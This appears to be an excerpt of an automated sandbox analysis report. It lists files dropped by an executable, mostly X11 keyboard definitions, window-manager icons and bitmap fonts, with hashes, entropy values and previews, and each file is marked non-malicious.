Preview:	partial default xkb_types "default" {. virtual_modifiers Alt;.. type "SHIFT+ALT" {. .modifiers = Shift+Alt;. .map[Shift+Alt] = Level2;. .level_name[Level1] = "Base";..level_name[Level2] = "Shift+Alt";. };.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\types\nokia

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	4.806154876407959
Encrypted:	false
SSDEEP:	6:5vo6/Ch8dOYFFNLE3LB0Ayd6myj5ueyQU2LIxLcoyEtTWYBTAyEtTfFAwXYw7v:xn/o8wmm3Li/d6mw5uxQtwc3wblvwDFb
MD5:	CB0BBB135FF31D2B1D42EC6D73789A8B
SHA1:	7C8CF86114A6DA425C40D1F127ACAF3E825129E5
SHA-256:	52C7B32DF988B6591273573B3D66922758FCC81355E7E52478645A65F73117BE
SHA-512:	197709FA2AB64A471064C188E2D11FCE7EE14CFB735545C358ED9D9F8724F511DF1EB04E90954814872BF12DB0683F8BE55F266BC967CB9D088C68BCC14F4351
Malicious:	false
Preview:	partial default xkb_types "default" {.. // Some types that are used by Nokia devices and keyboard.. virtual_modifiers LevelThree;.. type "PC_FN_LEVEL2" {..modifiers = LevelThree;..map[None] = Level1;..map[LevelThree] = Level2;..level_name[Level1] = "Base";..level_name[Level2] = "Fn";. };..};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\types\numpad

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1955
Entropy (8bit):	4.911484964756382
Encrypted:	false
SSDEEP:	48:x/GrK1tYS5TrI1T7OsVmXw0tgskhDthTMUCUZQBaFLFF6Sxzbton9FjiT5FBm5IE:qK1tYS5TrI1T/yltGhDthTQYRtbtonmk
MD5:	EC8D323C9C4ADBEDDD3057E202519972
SHA1:	064484B983A167AFA639A6B233CF14B30090FCDC
SHA-256:	DDD730312E47D492F595DAF05D96B02D24CFB95DC31455E4043E9C6CF70CDF9E
SHA-512:	C627223D2F5B7FC41F378B6AFE16652962311B33A8B9F35854B73C0D864632C2AEBE2467050F1B4A2028EDECA8E7FE2891763134306AA1755055AD124F1D4B6D
Malicious:	false
Preview:	partial default xkb_types "pc" {. type "KEYPAD" {..modifiers = Shift+NumLock;..map[None] = Level1;..map[Shift] = Level2;..map[NumLock] = Level2;..map[Shift+NumLock] = Level1;..level_name[Level1] = "Base";..level_name[Level2] = "Number";. };. include "extra(keypad)".};..// On Mac keypads, level 1 and 2 are swapped.partial xkb_types "mac" {. type "KEYPAD" {..modifiers = None;..map[None] = Level2;..level_name[Level2] = "Number";. };. include "extra(keypad)".};..partial xkb_types "microsoft" {. type "KEYPAD" {. modifiers = Shift+NumLock;. map[None] = Level1;. preserve[Shift] = Shift;. map[NumLock] = Level2;. level_name[Level1] = "Base";. level_name[Level2] = "Number";. };. include "extra(keypad)".};..// Swiss-German style numeric keypad: Shift and NumLock operates as.// two independent modifiers; however, since we want shift state for.// the cursor keys, only three levels are used from the key mappings..// Closest type is

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\types\pc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3156
Entropy (8bit):	4.85918235442693
Encrypted:	false
SSDEEP:	96:e3I06M3ZzMBtSytta4ztEat4alntU7eBtuztHS3g0rCMpO0Ft/YSVaru8wPeJom5:oI06M3ZzcSwaAEI4altwiu5HS3lrCf08
MD5:	5E8A7CC604A55FB73ECE46E926E42797
SHA1:	484B38CE1660D6186CF20BD3D82FCDEC6D622F9F
SHA-256:	CED93314402CA59751CDCC4F4AB5C336BF2CA509A264771601CE6460D1F2467C
SHA-512:	A00DC5FD1331CB410A7D756FAADFC885B2B16330E7EEEE557A020CC104A25D394E9E46A70B882DE96C06913D08FE2F4593CB67FB91CB2B88DD1409C220E9AEED
Malicious:	false
Preview:	partial default xkb_types "default" {.. // Some types that are necessary. // for a full implementation of. // a PC compatible keyboard.. virtual_modifiers Alt;. virtual_modifiers LevelThree;. virtual_modifiers LAlt;. virtual_modifiers RAlt;. virtual_modifiers RControl;. virtual_modifiers LControl;.. type "PC_CONTROL_LEVEL2" {..modifiers = Control;..map[None] = Level1;..map[Control] = Level2;..level_name[Level1] = "Base";..level_name[Level2] = "Control";. };.. type "PC_LCONTROL_LEVEL2" {..modifiers = LControl;..map[None] = Level1;..map[LControl] = Level2;..level_name[Level1] = "Base";..level_name[Level2] = "LControl";. };.. type "PC_RCONTROL_LEVEL2" {..modifiers = RControl;..map[None] = Level1;..map[RControl] = Level2;..level_name[Level1] = "Base";..level_name[Level2] = "RControl";. };.. type "PC_ALT_LEVEL2" {..modifiers = Alt;..map[None] = Level1;..map[Alt] = Level2;..level_name[Level1] = "Base";..level_name[Level2] = "Alt";. };.. t

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\blackbox\close.xbm

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	xbm image (7x7), ASCII text
Category:	dropped
Size (bytes):	130
Entropy (8bit):	4.672089760245046
Encrypted:	false
SSDEEP:	3:HDKA8EaZ48EaKZSOfSJMIz/fwW+fwvTQJVqpFIL7VYJ9v:HeA8Ep8Ez5fS9z/Ixz20L+JN
MD5:	AFD7E63DC2C859FED94C8BF9BC9D297D
SHA1:	1E045468AB10EBE29FBEBCA2843D3C22A68C81A5
SHA-256:	2E148AA434F835AB289358CD2D9FB87C0A7C0069B5EB3FCA3F6AA59A18CF703F
SHA-512:	464786DEC7F2CB43E6F528403567ECFE7329B29F1561DF1F50512BA33EC76EF25BF7FCCFA04B14353EBBC188A58B64A441C60E9D2F465774D20A4899D9779C52
Malicious:	false
Preview:	#define close_width 7.#define close_height 7.static unsigned char close_bits[] = {. 0x41, 0x22, 0x14, 0x08, 0x14, 0x22, 0x41, };.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\blackbox\maximize.xbm

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	xbm image (7x7), ASCII text
Category:	dropped
Size (bytes):	139
Entropy (8bit):	4.569092578903211
Encrypted:	false
SSDEEP:	3:HDKAyEOxffJ34yEOxff/CZSOfSJMI9EdJMffsw+fwvQvivhQsssCzvn:HeAy1xfGy1xfHC5fS99CMfUD/vivKss/
MD5:	84398D0AEF4A0899211B6BB6D675E0C0
SHA1:	E966FA6AFE410FBECBDFB8ED1F3DC7854A028C60
SHA-256:	E30AF7BFA917DA41B4D6ADF60310F965C10B5C3DDDB2756EF92A2788333C37C2
SHA-512:	E77A1AF32B2FF26AF9B2DC1FB46352C991CC589D073A8A5FEB6A16EC07C69B1C6C82291B2A7758F42703B26EB8511FDBA25ADA5013A530FB0D6EADCC1AF01FBC
Malicious:	false
Preview:	#define maximize_width 7.#define maximize_height 7.static unsigned char maximize_bits[] = {. 0x7f, 0x7f, 0x41, 0x41, 0x41, 0x41, 0x7f, };.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\blackbox\minimize.xbm

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	xbm image (7x7), ASCII text
Category:	dropped
Size (bytes):	139
Entropy (8bit):	4.34618298143817
Encrypted:	false
SSDEEP:	3:HDKAyM4n34yM45CZSOfSJMI9MLJ1w+fwvXjvFJvFJvFJvFJvWLivzvn:HeAyXoyX5C5fS99Y1DnLivzvn
MD5:	E911EAFA08EF1D40A76A462B0D4B4666
SHA1:	F98A068CE8B99825D7B52F3A36574A46A5AA5776
SHA-256:	3D973676E32CD2536B9918D53E2E23EB1BA4E052F77EFD63C3461A60934701CC
SHA-512:	949DF841E914502AD5C04F00A000928FC0B9AC27E6C1B4049C3224466B2714688D99C1AB90279ADB6A1D4C59E6CE80C7E3E0316B70A7DFE5B3DC4D07BA9350B1
Malicious:	false
Preview:	#define minimize_width 7.#define minimize_height 7.static unsigned char minimize_bits[] = {. 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x7f, };.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\blackbox\refresh.xbm

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	xbm image (9x9), ASCII text
Category:	dropped
Size (bytes):	204
Entropy (8bit):	4.151965654658388
Encrypted:	false
SSDEEP:	3:HDKAtgswDbtgsKNjc7nJMIimcsRWGwvWVhd/JvAVXjvad/Jv8VFJvZ32ILVFJda1:HeACpDbCD4n9tWG5VLakO2ILmLak0w
MD5:	96DC1DD7A637A775BF2AF3DD44A575A6
SHA1:	18DF243D12769ED7ED209B788A6D26C5D91F06D7
SHA-256:	5A972907777120BDEA6BC313B7D69E794AEEDB762644EF72EC611885AA1D0652
SHA-512:	302733A863D41DEA5BEA693F27A4380D926819E932478748E98A3CCAEC95FAFAE6F812F09FF7D66E38A183F8FD55DE7EB9ECC70527A9E622D7F36CDC0264AA5A
Malicious:	false
Preview:	#define refresh_width 9.#define refresh_height 9.static unsigned char refresh_bits[] = {. 0x10, 0x00, 0x38, 0x00, 0x10, 0x00, 0x92, 0x00, 0xff, 0x01, 0x92, 0x00,. 0x10, 0x00, 0x38, 0x00, 0x10, 0x00, };.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\blackbox\resize.xbm

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	xbm image (9x7), ASCII text
Category:	dropped
Size (bytes):	177
Entropy (8bit):	4.334149934918834
Encrypted:	false
SSDEEP:	3:HDKAt9MB+DbtiAMCZSOfSJMIiz0D+fwvBkVEhKVEhpF+hCvwi32i34vdT37w:HeAP9DbVMC5fS9qlJEhOEhihJ13vy
MD5:	6FC27952FDCD2BFC3880D1FF9B93A30F
SHA1:	477417733D6515866FF531D5BD56DE41D773BAB7
SHA-256:	77A2B59D59B2E6A6946AB4EA6CDD1467164D2CAC164526ED915332271F42278F
SHA-512:	38F1230BE2CFC2407ABEAEBC60BC39AD61D05298AED9083404F98F9F5938DD12FD73A0C38EE296F8069C19F25A24558B11D9628FD214D6E5AE5006110F12F181
Malicious:	false
Preview:	#define resize_width 9.#define resize_height 7.static unsigned char resize_bits[] = {. 0xfe, 0x01, 0xfe, 0x01, 0x02, 0x01, 0x3f, 0x01, 0x21, 0x01, 0x21, 0x01,. 0xff, 0x01, };.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\blackbox\style.twmrc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2631
Entropy (8bit):	4.8403344768852685
Encrypted:	false
SSDEEP:	48:V/QXrmSepOuKGG7ro7wuF31+xkb+/TnFTeF/7Ee+BI:V/Q7mSeUNGG7ro7XZ1Ikb+7FtW
MD5:	98EB5B506BDD9A99493E1BE0ACA406D1
SHA1:	952D97E3BC88ADC6F885AFDDDEC2938CB54F7604
SHA-256:	F414B3851BEF1BA84602409AD8949A80AA78BC1C77FEF65CC28AA3F6179A219A
SHA-512:	43E8B28719001B0FF729280049449F9D08B756E56F87322B80DD5E4A98ADE35F456F0B1A22BF2DF27073B92CCDA627CD0E5F4504E958FDE125B2AB45EAFD6B52
Malicious:	false
Preview:	Color.{.BorderColor "Gray".DefaultBackground "White".DefaultForeground "Black"..TitleBackground "LightSteelBlue".TitleForeground "White"..MenuTitleBackground "White".MenuTitleForeground "Black"..MenuBackground "LightSteelBlue".MenuForeground "Black"..MenuShadowColor "Black".MenuBorderColor "Black".}.# Background: xsetroot -solid "slategrey4"...# Settings effecting window borders etc ------------------------------------------..BorderWidth 1 ...# Number of pixels for border around entire window.FramePadding 1 ...# Number of pixels between titlebar buttons & frame.TitleButtonBorderWidth 0 .# Number of pixels for button border.TitlePadding 2 ...# Number of pixels around title buttons.ButtonIndent 0 ...# Larger seems to squash buttons together.MenuBorderWidth 1 ..# Number of pixels for menu border.NoMenuShadows ...# No shadow behind the menu..# Title bar buttons..IconDirectory "./" # Directory for non default icons.LeftTitleButton "resize.xbm"=f.resize.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\10x20-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	25860
Entropy (8bit):	2.9853227275377354
Encrypted:	false
SSDEEP:	96:KbeJUhnox5CStcG8rusIJbGaW63STgzGNuxxx9xxWxxFxxxxmxxoFclSoVgjWqEE:K6JUhnsTcG5sIJbcTgzGNLSxzqYZTAGE
MD5:	E49B25A1BCBA7AA85315D36D07425972
SHA1:	CE02E57BFCA9D2B5356FC084C8CDEA70E9904D89
SHA-256:	06F927AE0C6CA5E6A3FF278DC9EA6F51AA4A22EB48186DD651DE196F808F386E
SHA-512:	D5E3F6A835B97BB7B02871C0B136AB588CD77E74F27FF1E08271D4F76FC7AB15CDA9E314CB0D1CA3926DCF32BDA2CDE92DEB1C1D44B0609D17321DAA886CCC17
Malicious:	false
Preview:	.fcp............................d... ...........d...............DI..............d...,Q.. ............U..@............W..............$[..........d....d............................... ....,...2....>...E....K...M....[...b....q...r........}.............K........K.................d................................................*....7...O....T.................g..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.X_HEIGHT.CAP_HEIGHT.COPYRIGHT.Public domain font. Share and enjoy.._GBDFED_INFO.Edited with gbdfed 1.3..FONT.-Misc-Fixed-Medium-R-Normal--20-200-75-75-C-100-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH.........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\3270-12.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	26424
Entropy (8bit):	3.283874817971176
Encrypted:	false
SSDEEP:	192:f/pZBPi7MXpwJwmQ1uZ8zuCNXHPqZc5jAn7GN:f/rZiAQWzuuXHPN
MD5:	71A9EE3028AAF48F64415D702F32D311
SHA1:	592DE717C14DE29EB3674D6FFA53FF98F1F02576
SHA-256:	B06FF18617A2BDF79D83DD241ED14F13F7C6E7A3806BD0BCF850803424EA9878
SHA-512:	80BEA1DF7DA490FEF3A6F72199F11E0A901469A43917A2C7722BCDA888E8A1219CA98DEEC56E98306D83CEB9501B1BDFB878B27AC2ED8433CE6AE524016855DC
Malicious:	false
Preview:	.fcp............................d...X...........(................?..............(....H.. ............N..@............T...............Y..........d....f............................... ....,...1....=...D....J...L....Z...a........l....x...w....H........H.................<............................................c.......................FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.3270.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.3270cg.CHARSET_ENCODING.1.FONT.3270-12.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH...........................................................................................................:......................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\3270-12b.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	26428
Entropy (8bit):	3.2566922278839305
Encrypted:	false
SSDEEP:	96:7nCY2tyIHPiAhiLiMCZiFSC/GBWkoMXbHn8zuCNzLO+PqpAoNUN6cmyjAn7xz0qm:7CY2pPi7/0n8zuCNXHPqZc5jAn7GN
MD5:	DD1D80815C22D2AE684C48F77F6EE5CF
SHA1:	B639C4CDDFFEFD4E1FEB492D19D8C43130F45B54
SHA-256:	065967734BA8CB059C1FB67B38F84FAC3277ED30C7482E0B4BE717379254AEFC
SHA-512:	A5EC8CE7D8B957DEC9F45D384684CBB9C8A9AF2DD44D811C767F5F457FAACAA1E1DEBA690BBC09137ADFCF171560587485F7EE3EED0C09825C0B86AB28D87697
Malicious:	false
Preview:	.fcp............................d...\...........(................?..............(....H.. ............N..@............U...............Y..........d....f............................... ....,...1....=...B....H...J....X..._........j....x...u....H........H...................................<..........................c.......................FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.3270.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.CHARSET_REGISTRY.3270cg.CHARSET_ENCODING.1.AVERAGE_WIDTH.FONT.3270-12bold.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH.............................................................................................................:..................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\3270-20.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	34684
Entropy (8bit):	2.7112613388472506
Encrypted:	false
SSDEEP:	384:PWTgHdxHf4b7cccccccccccccccccccccccccccccccccccccccccccccccccccz:uTgHdBfGAue+Gia
MD5:	91AA42DED919CFB2624ED448A2427924
SHA1:	FDD392DE516B4B2F76FCAC44163070F8C35F7815
SHA-256:	4378EBE183910C384E9DE98C73B0AFDDD33FCFB80AD28B4AC84829A763AA915C
SHA-512:	9F1594C61E810E4BAC88BB4AE1AA216CAC1EE51FC109F7727D7D822DE8DA9C55E4B47E03809E193E18D660FF2C3C76A30AF1E592B3A24EBDB76DED63FC7D3D1B
Malicious:	false
Preview:	.fcp............................d...t........... ...............xf...... ...........po..@............u..............hz..........d...L.....................................)...0....6...8....F...M........X........c....K...p....K...}....d..............................................................g............&.........1FOUNDRY.NCD.FAMILY_NAME.3270.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.AVERAGE_WIDTH.CHARSET_REGISTRY.3270cg.CHARSET_ENCODING.1.SPACING.C.COPYRIGHT.Copyright 1989-1991 Network Computing Devices, Inc..FONT.3270-20.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH.............................................................................................................8..........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\3270-20b.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	36292
Entropy (8bit):	2.9771419825961156
Encrypted:	false
SSDEEP:	384:D6DTgHjbpgGR22p8LJq+iuxS87cccccccccccccccccccccccccccccccccccccq:+TgHrypdrAue+GiT
MD5:	D631721DD06984573D1A19AD2F120FE7
SHA1:	2FA9C926525DFBB29D0A5BCF26E5106DE2D70199
SHA-256:	EC0F493F15B4E4EC7D14C229F67EE568DF84DC5C374500565791B19D9ED6A6FF
SHA-512:	9B3D5A2D38B5E64987E8D30E4B1952DBA7FDF86AE131322088DA6BC09ECDC0640B4EF27730CB84FE4E71BD2C605502A19987842C0B41AB02407886E178551A8B
Malicious:	false
Preview:	.fcp............................d............... ...............xf.............. ....o.. ............u..@............{..........................d...\|.....................................)........4...6....D...K........V........a....K...n....K...{....d..............................................................g............(.........3FOUNDRY.NCD.FAMILY_NAME.3270.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.AVERAGE_WIDTH.CHARSET_REGISTRY.3270cg.CHARSET_ENCODING.1.SPACING.C.COPYRIGHT.Copyright 1989-1991 Network Computing Devices, Inc..FONT.3270-20bold.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH...........................................................................................................8..........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\3270.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	39600
Entropy (8bit):	3.2976607988744204
Encrypted:	false
SSDEEP:	192:fGp+F9oOObLLNrAGkzmdFGuCNXHnZc5jABsKJVrvEvEu6dkIG+VZ9Liz9D/bK0S+:fGkgftA0muuX+DBOC
MD5:	4D73FCB53559971C94D2ACCF15AF694C
SHA1:	49A05E3371C155E0FFC3DD75296D50F11BAF9542
SHA-256:	D1775F2F302F329C7423FDE6553E375D5D87FB62D7A1C81964375CE73E1D4A38
SHA-512:	C583825A0CA125DB0A64904EC54842A57DA1FB54E5ED80105C774EDB053E8CD2FAE8CE7E4BE3335C19B1E14260D042A2C93635C60304A64FE9AE14419A9D40D1
Malicious:	false
Preview:	.fcp............................d...X...........t................e..0...........t...Lp.. ............x..@............~..........................d...h................................ ....,...1....=...D....J...L....Z...a........l........w....H........H...................................Z..........................c.......................FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.3270.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.CHARSET_REGISTRY.3270cg.CHARSET_ENCODING.1a.AVERAGE_WIDTH.FONT.3270.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH....................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\3270b.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	39228
Entropy (8bit):	3.3271762560520344
Encrypted:	false
SSDEEP:	192:f06Jl9oONAxj8BRk/kHjiJJRJJwfOOOOOOOeQameuCNXHhbZc5jABsKJVrvEvEur:f06JA6JBRk/kHjiJJRJJw3oeuuXBaD0I
MD5:	41F24F7CA54A8D72DB5280C235078D24
SHA1:	C93885B459616F0C63B4FC6E221A041B55C25E6E
SHA-256:	49D8F1B791ACC04377139FA04688DA5AB629EA20B4D9743916F877307DD69FBB
SHA-512:	B683A4CDF0A517F0011D9E3C086EA63F1EA65B8C16FC4DE992C79324F792A4A36823CC0FB28D38EA4413C697E77BC14199B633BE34BCF1E8C788CC03F5EBFB29
Malicious:	false
Preview:	.fcp............................d...X...........`...............,d..............`...Ho.. ............w..@............}..............l...........d.................................... ....,...1....=...B....H...J....X..._........j........u....H........H...................................Z..........................c.......................FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.3270.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.CHARSET_REGISTRY.3270cg.CHARSET_ENCODING.1a.AVERAGE_WIDTH.FONT.3270bold.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH..................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\3270gr.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	34000
Entropy (8bit):	3.1209117245133298
Encrypted:	false
SSDEEP:	384:9D2nLznb7ccccccccccccccccccccccccccccccccccccccccccccccccccccccf:tKbPTr
MD5:	E576862D752E70F3B923B905D4C8AA9C
SHA1:	BD9AE30B4247A2FB2AF7194890150E1E0CDBE7DA
SHA-256:	90BA864547AF35E1171AFE3787DFC1AD84EFE197D12902F2B29AEEFFBD955A3B
SHA-512:	417CE2681F575A6F278CCC59901FDFC27F8114BFA32A670A346C7102FA4EF3CB6488A4778351AE8E1070B56B08256E4D9A4CEA4FA620DAE4F09F0F08AA92B7AF
Malicious:	false
Preview:	.fcp............................d...p........... ................]...... ............f..@............l...............q..........d.........................................)...0....6...8....F...M....U...W........b........m....K...z....K........d.....................................................g............%.........0FOUNDRY.NCD.FAMILY_NAME.3270.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.SPACING.C.PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.AVERAGE_WIDTH.CHARSET_REGISTRY.3270cg.CHARSET_ENCODING.7.COPYRIGHT.Copyright 1989-1991 Network Computing Devices, Inc..FONT.3270gr.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH..........................................................................................................8..............................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\3270gt12.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	26720
Entropy (8bit):	3.367098854742374
Encrypted:	false
SSDEEP:	96:yafMfNIHPiAhiLiM/9jBTSnnmen8XeruCNzLO+NzGpAoNUN6cmyjAM7xzZka6P:ybSPi7/9V2X8AuCNXHYZc5jAM7yP
MD5:	116A9188E13E9B6C53AA07B538FFD768
SHA1:	5414809301CBBA9CA443299C7042F065F37543C1
SHA-256:	FCCBD7A9A514DEFA1C9FE24AF381C3FF946BDDB7FDEC36B840E2A95F95C47EAF
SHA-512:	10F39799C2A346F834831BD67B7E2DC5ABF12BB54F2C4331E6A831CFC633FEE256079516A72318539F4767F585901E4AF54FB47BB6E5B2AB4B92458F894AA4B0
Malicious:	false
Preview:	.fcp............................d...(........... ...............x?.............. ...$I.. ...........DO..@...........TU..............<Z..........d....h............................... ....,...3....9...;....I...P...._...`........k....x...v....H........H.................F..............................................................F........F..."........-........6....2...F....R...]....b...k........r....c...}.........FOUNDRY.GaTech.FAMILY_NAME.3270.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.3270cg.CHARSET_ENCODING.1.MIN_SPACE.NORM_SPACE.MAX_SPACE.END_SPACE.AVG_CAPITAL_WIDTH.AVG_LOWERCASE_WIDTH.CAP_HEIGHT.X_HEIGHT.RELATIVE_WEIGHT.DESTINATION.Video Text.FONT.3270gt12.WEIGHT.RESOLUTION.QUAD_WIDTH..........................................................................................................8......................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\3270gt12b.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	26724
Entropy (8bit):	3.3480936852701095
Encrypted:	false
SSDEEP:	96:OYDYKfNIHPiAhiLiMSafWSsfZt6n8XeruCNzLO+NzGpAoNUN6cmyjAM7xzZka6P:O+SPi7h0e8AuCNXHYZc5jAM7yP
MD5:	27B73E7CEB3F35962D92555BD855EB07
SHA1:	50CCEEC1261ACD565C25E90AE09C65A7B4A10CF9
SHA-256:	14DDD8C260B3DD48EDEB168581C480060DB7BE07A1DD1BA6E640FA8CFE8EE8BE
SHA-512:	FED729B7BED88D7457FC289FA52041A95F30426733CA93E39B1335C52D1685E3B4D88FA0D40E97FFD20BE9EF9199C8FE12E0D7BF1C26EE100AFA18F842EBF10B
Malicious:	false
Preview:	.fcp............................d...,........... ...............x?.............. ...(I.. ...........HO..@...........XU..............@Z..........d....h............................... ....,...1....7...9....G...N....]...^........i....x...t....H........H.................F..............................................................F........F... ........+........4....2...D....P...[....`...m........t....c.............FOUNDRY.GaTech.FAMILY_NAME.3270.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.3270cg.CHARSET_ENCODING.1.MIN_SPACE.NORM_SPACE.MAX_SPACE.END_SPACE.AVG_CAPITAL_WIDTH.AVG_LOWERCASE_WIDTH.CAP_HEIGHT.X_HEIGHT.RELATIVE_WEIGHT.DESTINATION.Video Text.FONT.3270gt12bold.WEIGHT.RESOLUTION.QUAD_WIDTH............................................................................................................8..................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\3270gt16.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	31712
Entropy (8bit):	3.0599165944473854
Encrypted:	false
SSDEEP:	96:ya3e2gR2YI3IctEIlllllllHNrPLmniFmbnxmS0Sn8XeruCNzLO+NzGpAoNUN6cV:yB23ICnLLmhx8AuCNXHYZc5jAM7ya
MD5:	4E843236727941556194550624D48B09
SHA1:	6A749D82F210F19AE31AD525AF7396E24B1F336C
SHA-256:	F6708EAF5EA4D3BC73B7A9ABFBD189222FA128506D7646D5D8FC633CA1F54A8C
SHA-512:	B743189AF23A16862F6E4D0440D975BBC49D2BCCE40B6CE933B907DFB19317F07F0C77E8C37C0EBDB32370D0F1CE5E5FCBF7C59055FC470FF4472D86361701BE
Malicious:	false
